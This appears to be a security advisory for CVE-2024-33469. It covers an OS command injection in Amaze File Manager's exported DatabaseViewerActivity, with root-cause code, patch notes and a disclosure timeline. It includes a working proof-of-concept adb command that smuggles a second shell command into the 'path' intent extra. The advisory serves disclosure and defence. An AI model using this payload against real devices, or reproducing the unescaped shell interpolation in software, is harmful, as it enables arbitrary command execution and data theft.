CVE-2024-33469 — TeamAmaze · Amaze File Manager

OS command injection via an unsanitized path string extra in DatabaseViewerActivity.java allows arbitrary command execution when root explorer mode is enabled.

Amaze File Manager’s DatabaseViewerActivity accepts a path string extra from an incoming intent and passes it, without any sanitization, into a shell command string inside MountPathCommand.mountPath(). When the app is running with root explorer mode enabled, this allows a malicious app to inject arbitrary shell commands and execute them under Amaze File Manager’s process.

Background

OS command injection occurs when attacker-controlled input is interpolated directly into a shell command string. In Kotlin, "umount -r \"$path\"" substitutes the path variable inline — if the value contains a " character, the attacker closes the opening quote and appends a command separator to run arbitrary commands.

On Android, DatabaseViewerActivity is an exported activity. Any app on the device can start it with a crafted intent extra. Android’s getStringExtra() returns whatever the sender put in the bundle, with no validation.

Root Cause Analysis

Step 1: DatabaseViewerActivity.onCreate() — unvalidated string extra

// DatabaseViewerActivity.java
path = getIntent().getStringExtra("path");

if (path == null) {
    Toast.makeText(this, R.string.operation_not_supported, Toast.LENGTH_SHORT).show();
    finish();
    return;
}

pathFile = new File(path);
load(pathFile);

A null check exists, but nothing validates the content of path. An attacker controls its value entirely.

Step 2: load() — the injection-triggering code path

private void load(final File file) {
    new Thread(() -> {
        File file1 = getExternalCacheDir();

        // only reached when root explorer is enabled and the file can't be read directly
        if (!file.canRead() && isRootExplorer()) {
            try {
                CopyFilesCommand.INSTANCE.copyFiles(
                    pathFile.getPath(),  // attacker-controlled
                    new File(file1.getPath(), file.getName()).getPath());
            } catch (ShellNotRunningException e) {
                LOG.warn("failed to copy file while showing database file", e);
            }
            delete = true;
        }
        // ...
    }).start();
}

When root explorer mode is active and the supplied path can’t be read directly, load() passes the attacker-controlled path to CopyFilesCommand.copyFiles(), which internally calls MountPathCommand.mountPath().

Step 3: MountPathCommand.mountPath() — the injection point

// MountPathCommand.kt
@Throws(ShellNotRunningException::class)
fun mountPath(path: String, operation: String): String? {
    return when (operation) {
        READ_ONLY -> {
            val command = "umount -r \"$path\""  // path injected without escaping
            runShellCommand(command)
            null
        }
        READ_WRITE -> mountReadWrite(path)
        else -> null
    }
}

path is interpolated directly into the command string using Kotlin’s string template syntax. With a payload of "; id > /sdcard/poc/pwned.cmd, the resulting command becomes:

umount -r ""; id > /sdcard/poc/pwned.cmd

The " closes the opening quote in the template, ; terminates the (harmlessly failing) umount invocation, and id > /sdcard/poc/pwned.cmd runs as an independent shell command under Amaze File Manager’s UID.

Prerequisite: Root explorer mode must be enabled in Amaze File Manager’s settings for the CopyFilesCommand path to be reached.

Proof of Concept

adb shell am start \
  -n com.amaze.filemanager/.ui.activities.DatabaseViewerActivity \
  --es "path" '"; id > /sdcard/poc/pwned.cmd'

After the intent is processed, /sdcard/poc/pwned.cmd contains the output of the id command running under the app’s process identity:

uid=10xxx(u0_a...)  gid=10xxx(u0_a...)  groups=10xxx(u0_a...),...

The id command can be replaced with any shell payload — reading private databases, exfiltrating files, or spawning persistent processes.

Impact

When root explorer mode is enabled, any app installed on the device can send a crafted intent to DatabaseViewerActivity and execute arbitrary OS commands under Amaze File Manager’s process context. In root explorer mode, the app operates with elevated permissions for filesystem access — making the impact of arbitrary command execution particularly significant.

Patch Analysis

Fix commit 4255d49. The correct fix is proper sanitization in mountPath() — either escaping shell metacharacters in the path value before interpolation, or replacing string concatenation with a parameterized execution method that avoids shell interpretation entirely.

Timeline

DateEvent
2023-08-15Discovered and reported on huntr
2023-09-18Validated by maintainer
2024-02-26Fix submitted
2024-02-29Public disclosure

References